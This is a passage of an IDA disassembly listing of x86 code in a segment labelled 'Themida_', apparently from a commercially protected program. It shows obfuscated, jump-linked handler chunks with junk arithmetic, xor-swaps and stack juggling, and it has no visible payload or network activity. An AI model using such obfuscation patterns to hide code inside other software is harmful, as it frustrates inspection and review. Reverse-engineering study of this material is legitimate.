		pop	esp
		and	eax, edx
		push	[esp-1Ah+arg_16]
		pop	edx
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	ecx
		push	24h
		pop	ecx
		add	ecx, edi
		sub	esp, 4
		mov	[esp-16h+arg_12], ebx
		jmp	loc_584CFB
; ---------------------------------------------------------------------------


loc_58D3F7:				; CODE XREF: sub_585452+F39j
		mov	cl, 0ADh
		dec	cl
		jmp	loc_58DC23
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58D400:				; CODE XREF: Themida_:0058B97Fj
		pop	dx
		add	al, 0ECh
		jmp	loc_58CCAA
; ---------------------------------------------------------------------------


loc_58D409:				; CODE XREF: Themida_:00587863j
		sub	ebx, 5DF57579h
		mov	edx, ebx
		pop	ebx
		jmp	loc_58EFF1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58D417:				; CODE XREF: sub_585452+92F8j
		mov	[esp-24h+arg_1E+2], esi
		mov	esi, ebx
		jmp	loc_58AE24
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58D421:				; CODE XREF: Themida_:00583CEAj
		add	ebp, 676E0399h
		add	ebp, ebx
		sub	ebp, 676E0399h
		pop	ebx
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_585A5C
; ---------------------------------------------------------------------------


loc_58D43D:				; CODE XREF: Themida_:00587E6Fj
		mov	dl, bl
		jmp	loc_58ECDB
; ---------------------------------------------------------------------------


loc_58D444:				; CODE XREF: Themida_:0058CB46j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_58966D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58D450:				; CODE XREF: sub_585452+3F90j
		sub	esi, ebp
		jmp	loc_58EC48
; ---------------------------------------------------------------------------


loc_58D457:				; CODE XREF: sub_585452+83EAj
		add	edx, 29AE50BBh
		pop	ebp
		xor	edx, [esp-28h+arg_24]
		xor	[esp-28h+arg_24], edx
		xor	edx, [esp-28h+arg_24]
		pop	esp
		movsx	ecx, ax
		push	5402h
		mov	[esp-28h+arg_24], ecx
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58D478:				; CODE XREF: Themida_:00583EAEj
		mov	ah, bh
		mov	dh, ah
		pop	eax
		pop	ebx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		add	al, 82h
		add	al, dh
		sub	al, 82h
		pop	dx
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_58D4A2:				; CODE XREF: sub_58FA66-ACB8j
		pop	eax
		add	ecx, esi
		jmp	loc_585263
; END OF FUNCTION CHUNK	FOR sub_58FA66
; ---------------------------------------------------------------------------


loc_58D4AA:				; CODE XREF: Themida_:0058487Dj
		pop	eax
		jmp	loc_586E59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58999B


loc_58D4B0:				; CODE XREF: sub_58999B+59A4j
		mov	dx, word ptr [esp+8+var_A+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 2
		jmp	loc_58DF20
; END OF FUNCTION CHUNK	FOR sub_58999B
; ---------------------------------------------------------------------------


loc_58D4C5:				; CODE XREF: Themida_:0058CD4Cj
		mov	ebx, ecx
		pop	ecx
		not	ebx
		add	ebx, 232B3514h
		jmp	loc_584598
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F728


loc_58D4D5:				; CODE XREF: sub_58F728-44B0j
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp-8+arg_4]
		jmp	loc_58B3A4
; END OF FUNCTION CHUNK	FOR sub_58F728
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58905F


loc_58D4E0:				; CODE XREF: sub_58905F+68BFj
		xor	esi, ebp
		jmp	loc_585B00
; END OF FUNCTION CHUNK	FOR sub_58905F
; ---------------------------------------------------------------------------


loc_58D4E7:				; CODE XREF: Themida_:0058E5FCj
		xchg	edi, [esp]
		jmp	loc_587483
; ---------------------------------------------------------------------------


loc_58D4EF:				; CODE XREF: Themida_:00589E7Cj
		neg	ebp
		sub	ebp, 82522408h
		add	eax, ebp
		jmp	loc_588F09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589967


loc_58D4FE:				; CODE XREF: sub_589967-25FCj
		mov	ebx, 1E4E5FACh
		or	ebx, 191521B0h
		jmp	loc_588744
; END OF FUNCTION CHUNK	FOR sub_589967
; ---------------------------------------------------------------------------


loc_58D50E:				; CODE XREF: Themida_:0058E2B9j
		mov	[esp], esi
		mov	esi, 5CEF6D82h
		jmp	loc_58ACB6
; ---------------------------------------------------------------------------


loc_58D51B:				; CODE XREF: Themida_:00587E01j
		mov	ecx, esp
		jmp	loc_587FB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C230


loc_58D522:				; CODE XREF: sub_58C230-44E7j
		mov	[esp-4+arg_0], eax
		push	esp
		push	dword ptr [esp+0]
		pop	eax
		push	edi
		mov	edi, esp
		jmp	loc_58F2A6
; END OF FUNCTION CHUNK	FOR sub_58C230
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_586A34


loc_58D532:				; CODE XREF: sub_586A34+7098j
		dec	ebx
		dec	ebx
		push	eax
		jmp	loc_58C03C
; END OF FUNCTION CHUNK	FOR sub_586A34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58D53A:				; CODE XREF: sub_585452+769Ej
		pop	esp
		push	ebx
		jmp	loc_58F18D
; ---------------------------------------------------------------------------


loc_58D541:				; CODE XREF: sub_585452+C29j
		push	eax
		mov	eax, 12BB2D77h
		mov	ebx, 53140066h
		xor	ebx, eax
		pop	eax
		inc	ebx
		jmp	loc_58F885
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58D555:				; CODE XREF: Themida_:0058776Aj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5854D5
; ---------------------------------------------------------------------------


loc_58D569:				; CODE XREF: Themida_:0058A607j
		push	eax
		mov	eax, 2B3960BCh
		add	edi, eax
		pop	eax
		sub	edi, 9B26D408h
		mov	eax, edi
		jmp	loc_58943A
; ---------------------------------------------------------------------------


loc_58D57F:				; CODE XREF: Themida_:0058F9EEj
		not	dh
		jmp	loc_58D901
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58960C


loc_58D586:				; CODE XREF: sub_58960C-1BAEj
		sub	ecx, 11D3619h
		add	ecx, edx
		push	edi
		jmp	loc_58A975
; END OF FUNCTION CHUNK	FOR sub_58960C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58D594:				; CODE XREF: sub_585452+4F5j
		push	edi
		jmp	loc_58C15A
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58D59A:				; CODE XREF: Themida_:0058D229j
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	edx, 4
		jmp	loc_587EAC
; ---------------------------------------------------------------------------


loc_58D5C2:				; CODE XREF: Themida_:005868A6j
		mov	[esp], ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_58E928
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58D5D8:				; CODE XREF: sub_585452+96Dj
		inc	ebx
		add	ebx, 55D953A7h
		jmp	loc_5880B2
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58D5E4:				; CODE XREF: Themida_:00588C3Fj
		xor	edi, 4421321Eh
		add	ebx, edi
		pop	edi
		push	edi
		mov	edi, 2
		jmp	loc_585C0B
; ---------------------------------------------------------------------------


loc_58D5F8:				; CODE XREF: Themida_:00584859j
		mov	[esp], edi
		push	esp
		pop	edi
		jmp	loc_58C7E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58D602:				; CODE XREF: sub_585452+362Cj
		mov	[esp+0], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	edx
		mov	edx, 4
		sub	ebx, edx
		pop	edx
		jmp	sub_587B94
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58D61B:				; CODE XREF: Themida_:00589786j
		sub	ebx, 2D066h
		add	edi, 7ABF52E0h
		add	edi, 4ADF3BE4h
		sub	edi, 795508A2h
		jmp	loc_584470
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58D638:				; CODE XREF: sub_585452+389j
		sub	eax, ecx
		pop	ecx
		push	7FB2h
		mov	[esp+36h+var_38+2], edi
		mov	edi, 1A376A0Ah
		add	eax, edi
		push	[esp+36h+var_38+2]
		jmp	loc_585B5D
; ---------------------------------------------------------------------------


loc_58D652:				; CODE XREF: sub_585452+69FFj
		xor	[esp-4+arg_0], ebp
		jmp	loc_58C5EE
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58D65A:				; CODE XREF: Themida_:0058D84Fj
		shl	ecx, 3
		add	ecx, 92CABD62h
		push	ecx
		add	dword ptr [esp], 0A241F24h
		pop	ebp
		push	ebx
		jmp	loc_58AB48
; ---------------------------------------------------------------------------


loc_58D672:				; CODE XREF: Themida_:00584384j
		mov	eax, 2FE86EBBh
		xor	[esp+4], eax
		pop	eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_588686
; ---------------------------------------------------------------------------


loc_58D685:				; CODE XREF: Themida_:0058505Dj
		add	ebp, 29795121h
		mov	ecx, [esp]
		add	esp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D7D9


loc_58D6AB:				; CODE XREF: sub_58D7D9-3AEBj
		add	ebp, esi
		pop	esi
		push	ebp
		push	[esp+8+var_4]
		pop	ebp
		jmp	loc_586D60
; END OF FUNCTION CHUNK	FOR sub_58D7D9
; ---------------------------------------------------------------------------


loc_58D6B9:				; CODE XREF: Themida_:005844EAj
		mov	bh, dl
		pop	edx
		sub	al, bh
		mov	bx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 2
		jmp	loc_58A6C0
; ---------------------------------------------------------------------------


loc_58D6D3:				; CODE XREF: Themida_:0058EB8Ej
		xchg	esi, [esp]
		pop	esp
		push	7AADh
		mov	[esp], esi
		jmp	loc_58F034
; ---------------------------------------------------------------------------


loc_58D6E4:				; CODE XREF: Themida_:0058E541j
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		jmp	loc_586D08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58D6F3:				; CODE XREF: sub_585452+53A9j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-8+arg_4]
		pop	esp
		jmp	loc_5886BB
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5886E0


loc_58D70A:				; CODE XREF: sub_5886E0+15FCj
		pop	esi
		shr	ebp, 2
		jmp	loc_58988F
; END OF FUNCTION CHUNK	FOR sub_5886E0
; ---------------------------------------------------------------------------


loc_58D713:				; CODE XREF: Themida_:0058DE90j
		add	edi, 4
		jmp	loc_587D7C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58D71E:				; CODE XREF: sub_585452+6301j
		sub	esi, 318B5F4Bh
		mov	ebx, esi
		push	[esp-0Ch+arg_8]
		jmp	loc_584427
; ---------------------------------------------------------------------------


loc_58D72E:				; CODE XREF: sub_585452+6428j
		xchg	esi, [esp+2+var_4+2]
		jmp	loc_588A34
; ---------------------------------------------------------------------------


loc_58D736:				; CODE XREF: sub_585452+189Ej
		xor	edx, 33131C07h
		dec	edx
		jmp	loc_58E065
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58D742:				; CODE XREF: Themida_:0058C7C9j
		xchg	ebp, [esp]
		pop	esp
		xor	[esp+4], ebp
		pop	ebp
		pop	ecx
		push	edx
		push	ebx
		push	2262565Ch
		jmp	loc_58C91A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CABE


loc_58D758:				; CODE XREF: sub_58CABE+17j
		add	esp, 4
		add	edi, 35C35490h
		jmp	loc_58ED03
; END OF FUNCTION CHUNK	FOR sub_58CABE
; ---------------------------------------------------------------------------


loc_58D769:				; CODE XREF: Themida_:005873ABj
		not	eax
		shl	eax, 1
		push	edx
		push	2B6226F9h
		pop	edx
		or	edx, 5F052BE6h
		xor	edx, 3A79678Eh
		push	ecx
		jmp	loc_587CE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58D786:				; CODE XREF: sub_585452+94A0j
		bt	word ptr [esp+0Eh+var_10+2], ax
		pushf
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58D791:				; CODE XREF: Themida_:00585F5Aj
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		push	ebx
		jmp	loc_5871A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58D79F:				; CODE XREF: sub_585452+7D5Aj
		sub	ebp, esi
		pop	esi
		jmp	loc_58DB01
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58D7A7:				; CODE XREF: Themida_:0058C55Bj
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		add	esi, 2
		xchg	esi, [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58D7C7:				; CODE XREF: sub_585452+3E41j
		pop	eax
		add	esp, 4
		push	dword ptr [edx]
		pop	ecx
		pop	edx
		push	4670h
		jmp	loc_58EE68
; END OF FUNCTION CHUNK	FOR sub_585452

; =============== S U B	R O U T	I N E =======================================



sub_58D7D9	proc near		; CODE XREF: sub_585019+1275j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00585E80 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00586D60 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005877E3 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00589CE1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058B666 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058D6AB SIZE 0000000E BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		mov	ebp, esp
		jmp	loc_58B666
sub_58D7D9	endp

; ---------------------------------------------------------------------------


loc_58D7E6:				; CODE XREF: Themida_:0058ED71j
		push	edi
		mov	edi, esp
		add	edi, 4
		push	edx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_58594C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58D7FE:				; CODE XREF: sub_585452+7E34j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		push	4
		pop	ebp
		add	ecx, ebp
		pop	ebp
		push	ecx
		push	[esp+0Ah+var_8+2]
		jmp	loc_589A59
; ---------------------------------------------------------------------------


loc_58D81B:				; CODE XREF: sub_585452+354j
		mov	ebp, 0EFADC381h
		add	ebp, eax
		mov	eax, [esp+36h+var_38+2]
		add	esp, 4
		sub	edx, 29AE50BBh
		add	edx, 3BC2729Ch
		add	edx, ebp
		sub	edx, 3BC2729Ch
		jmp	loc_58D457
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58D841:				; CODE XREF: Themida_:0058CD74j
		push	3D7832BDh
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_58D65A
; ---------------------------------------------------------------------------


loc_58D854:				; CODE XREF: Themida_:0058AAFDj
		and	edx, 283E38D1h
		jmp	loc_58898C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58D85F:				; CODE XREF: sub_585452+A145j
		neg	ecx
		shr	ecx, 2
		jmp	loc_589321
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58D869:				; CODE XREF: Themida_:005898EDj
		mov	[esp], edi
		push	ecx
		push	12CD42B7h
		pop	ecx
		neg	ecx
		neg	ecx
		jmp	loc_583C58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58D87C:				; CODE XREF: sub_585452-F0Cj
		xchg	eax, [esp-14h+arg_E+2]
		mov	esp, [esp-14h+arg_E+2]
		shr	eax, 0Ch
		xor	eax, ecx
		jmp	loc_58C0B8
; ---------------------------------------------------------------------------


loc_58D88C:				; CODE XREF: sub_585452-147Ej
		push	edi
		jmp	loc_58449E
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58D892:				; CODE XREF: Themida_:00583F1Ej
		add	eax, ebx
		push	ebx
		jmp	loc_585531
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A5A3


loc_58D89A:				; CODE XREF: sub_58A5A3+215Ej
		pop	ecx
		pop	esi
		add	esi, 4
		add	esi, 4
		xor	esi, [esp+0]
		xor	[esp+0], esi
		xor	esi, [esp+0]
		mov	esp, [esp+0]
		div	ecx
		sub	esp, 4
		jmp	loc_585078
; END OF FUNCTION CHUNK	FOR sub_58A5A3
; ---------------------------------------------------------------------------


loc_58D8BE:				; CODE XREF: Themida_:0058539Cj
		xor	ebp, [esp]
		jmp	loc_58E3D4
; ---------------------------------------------------------------------------


loc_58D8C6:				; CODE XREF: Themida_:0058AA9Cj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		sar	word ptr [esp],	cl
		pushf
		jmp	loc_5895E1
; ---------------------------------------------------------------------------


loc_58D8DC:				; CODE XREF: Themida_:0058CE6Aj
		xchg	edx, [esp]
		pop	esp
		push	ecx
		mov	cl, al
		mov	[edi+38h], cl
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5857CC
; ---------------------------------------------------------------------------


loc_58D901:				; CODE XREF: Themida_:0058D581j
		and	dh, 25h
		sub	dh, 25h
		jmp	loc_584A2E
; ---------------------------------------------------------------------------


loc_58D90C:				; CODE XREF: Themida_:00589ACFj
		shl	ebp, 8
		add	ebp, 0DFE236Bh
		xor	ebp, 1A2F076Eh
		add	ebx, ebp
		pop	ebp
		pop	dword ptr [eax]
		jmp	loc_58B8E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58D925:				; CODE XREF: sub_585452+3452j
		push	esi
		push	eax
		push	12885EC6h
		pop	eax
		or	eax, 565D481Ch
		shr	eax, 7
		jmp	loc_58AEAE
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58999B


loc_58D93A:				; CODE XREF: sub_58999B-12EBj
		add	ecx, 4
		xchg	ecx, [esp-0Ch+arg_8]
		pop	esp
		sub	esp, 4
		jmp	loc_58CF02
; END OF FUNCTION CHUNK	FOR sub_58999B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58D94C:				; CODE XREF: sub_585452+97DCj
		sub	ebp, edi
		pop	edi
		jmp	loc_584441
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C230


loc_58D954:				; CODE XREF: sub_58C230-82BBj
		push	esp
		mov	edi, [esp+4+var_4]
		add	esp, 4
		push	eax
		mov	eax, 8B07B56h
		dec	eax
		add	eax, 0F74F84AFh
		add	edi, eax
		pop	eax
		add	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		jmp	loc_58D333
; END OF FUNCTION CHUNK	FOR sub_58C230

; =============== S U B	R O U T	I N E =======================================



sub_58D97C	proc near		; CODE XREF: sub_58AB18+7B9j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00584795 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058A231 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058DBA1 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0058DC03 SIZE 00000018 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		push	dword ptr [esp+4]
		jmp	loc_58DBA1
sub_58D97C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58D98B:				; CODE XREF: sub_585452-8DDj
		pop	esp
		add	edx, 59CA1B27h
		add	edx, eax
		sub	esp, 4
		mov	[esp-14h+arg_E+2], eax
		sub	esp, 4
		mov	[esp+0], ebx
		push	edx
		jmp	sub_589972
; ---------------------------------------------------------------------------


loc_58D9A6:				; CODE XREF: sub_585452-16F3j
		mov	esp, [esp-8+arg_4]
		jmp	loc_587449
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AB18


loc_58D9AE:				; CODE XREF: sub_58AB18-2D1Dj
		not	esi
		sub	esi, 17558845h
		sub	edx, 26C04351h
		add	edx, esi
		add	edx, 26C04351h
		pop	esi
		jmp	loc_58B2C7
; END OF FUNCTION CHUNK	FOR sub_58AB18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58D9CA:				; CODE XREF: sub_585452+BFFj
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58D9CF:				; CODE XREF: Themida_:0058D36Bj
		add	edx, 4
		jmp	loc_588403
; ---------------------------------------------------------------------------


loc_58D9DA:				; CODE XREF: Themida_:0058FC31j
		pop	esi
		add	esp, 4
		jmp	loc_5863B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F728


loc_58D9E6:				; CODE XREF: sub_58F728-8625j
		pop	ebx
		push	ebp
		mov	ebp, 47553D09h
		or	ebp, 71893BD9h
		jmp	loc_58B266
; END OF FUNCTION CHUNK	FOR sub_58F728
; ---------------------------------------------------------------------------


loc_58D9F8:				; CODE XREF: Themida_:0058A142j
		add	esi, ebx
		sub	esi, 1DA6558Ah
		sub	esi, 5F5C3184h
		add	esi, 2F1B4C24h
		pop	ebx
		xchg	esi, [esp]
		mov	esp, [esp]
		mul	cx
		push	small 3EC6h
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58DA26:				; CODE XREF: sub_585452+A8ACj
		add	eax, ebp
		pop	ebp
		jmp	loc_58FAE4
; END OF FUNCTION CHUNK	FOR sub_585452

; =============== S U B	R O U T	I N E =======================================



sub_58DA2E	proc near		; CODE XREF: sub_585452+A5C3j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00584FDF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005867F5 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00586CA1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00587E47 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005899BC SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00589F74 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058B402 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058B589 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058BC9B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058CDF6 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058FBAD SIZE 00000012 BYTES

		sub	esp, 2
		mov	word ptr [esp+4+var_4],	cx
		jmp	loc_586CA1
sub_58DA2E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58DA3A:				; CODE XREF: sub_585452+5F80j
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_58DA3F:				; CODE XREF: sub_585452+1774j
		add	edx, 4EF31F7Ah
		and	ecx, edx
		jmp	loc_584342
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C230


loc_58DA4C:				; CODE XREF: sub_58C230-48Dj
		add	esi, ebp
		jmp	loc_5887CC
; END OF FUNCTION CHUNK	FOR sub_58C230
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AB18


loc_58DA53:				; CODE XREF: sub_58AB18-5A28j
		xor	[esp-4+arg_0], eax
		xor	eax, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		mov	[esp-4+arg_0], ebx
		push	esi
		mov	esi, 4D5B26F2h
		add	[esp+arg_0], esi
		pop	esi
		push	[esp-4+arg_0]
		pop	eax
		add	esp, 4
		sub	eax, 4D5B26F2h
		jmp	loc_58FA98
; END OF FUNCTION CHUNK	FOR sub_58AB18
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		mov	ecx, esp
		push	edi
		push	edx
		mov	edx, 2D015DA1h
		jmp	loc_58E045
; ---------------------------------------------------------------------------


loc_58DA8E:				; CODE XREF: Themida_:00588B5Cj
		pop	esi
		push	esi
		mov	esi, 81428Fh
		sub	edx, esi
		pop	esi
		add	edx, esi
		add	edx, 81428Fh
		mov	esi, [esp]
		jmp	loc_58775D
; ---------------------------------------------------------------------------


loc_58DAA8:				; CODE XREF: Themida_:00583F52j
		push	462Ah
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_58B4FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_586A34


loc_58DABD:				; CODE XREF: sub_586A34+5CF2j
		mov	ebx, 3DF96FE5h
		shl	ebx, 3
		or	ebx, 56F619ADh
		dec	ebx
		jmp	loc_58D532
; END OF FUNCTION CHUNK	FOR sub_586A34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589967


loc_58DAD1:				; CODE XREF: sub_589967+23A7j
		sub	ebp, 0C36500CBh
		sub	esi, ebp
		pop	ebp
		neg	esi
		sub	esi, 0CF3832DBh
		sub	eax, 2BFC0E3Dh
		add	eax, esi
		jmp	loc_58EEC5
; END OF FUNCTION CHUNK	FOR sub_589967
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58DAEE:				; CODE XREF: sub_585452+63B2j
		inc	edi
		jmp	loc_58FC00
; ---------------------------------------------------------------------------


loc_58DAF4:				; CODE XREF: sub_585452+1C44j
		xor	ecx, 468EACC4h
		sub	edi, ecx
		jmp	loc_58CBF4
; ---------------------------------------------------------------------------


loc_58DB01:				; CODE XREF: sub_585452+8350j
		shr	ebp, 5
		push	esi
		mov	esi, offset byte_4D68A5
		sub	ebp, esi
		jmp	loc_5858E6
; ---------------------------------------------------------------------------


loc_58DB11:				; CODE XREF: sub_585452+A21j
		sub	ebx, edx
		pop	edx
		add	ebx, edi
		push	eax
		push	esi
		jmp	loc_58B694
; ---------------------------------------------------------------------------


loc_58DB1D:				; CODE XREF: sub_585452+6D85j
		add	dword ptr [ecx], 1
		pop	ecx
		mov	ebx, [esp+0]
		add	esp, 4
; END OF FUNCTION CHUNK	FOR sub_585452

; =============== S U B	R O U T	I N E =======================================



sub_58DB2A	proc near		; CODE XREF: sub_585452+319Cj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], edi
		push	3FA6h
		mov	[esp+8+var_8], ebx
		xor	[esp+8+var_8], 2CD32A94h
		pop	edi
		xor	edi, 2CD32A94h
		push	esi
		mov	esi, edi
		sub	esp, 4
		mov	[esp+0Ch+var_C], esi
		push	[esp+0Ch+var_C]
		pop	eax
		add	esp, 4
		jmp	loc_585983
sub_58DB2A	endp

; ---------------------------------------------------------------------------


loc_58DB5E:				; CODE XREF: Themida_:0058FD7Aj
		pop	edx
		push	edx
		pop	ecx
		push	dword ptr [esp]
		jmp	loc_584504
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58DB69:				; CODE XREF: sub_585452-F97j
		shr	ebx, 5
		jmp	loc_5873E5
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58DB71:				; CODE XREF: sub_58EFBD-5B76j
		xor	eax, edi
		pop	edi
		push	eax
		xor	[esp+8+var_8], 0E5938EDh
		pop	ebp
		xor	ebp, 0E5938EDh
		jmp	loc_5881BC
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------


loc_58DB88:				; CODE XREF: Themida_:0058770Dj
		push	ebp
		mov	ebp, 64062EE7h
		sub	ebp, 26B815C7h
		jmp	loc_58488E
; ---------------------------------------------------------------------------


loc_58DB99:				; CODE XREF: Themida_:00583C6Fj
		mov	edi, [esp]
		jmp	loc_58DE0A
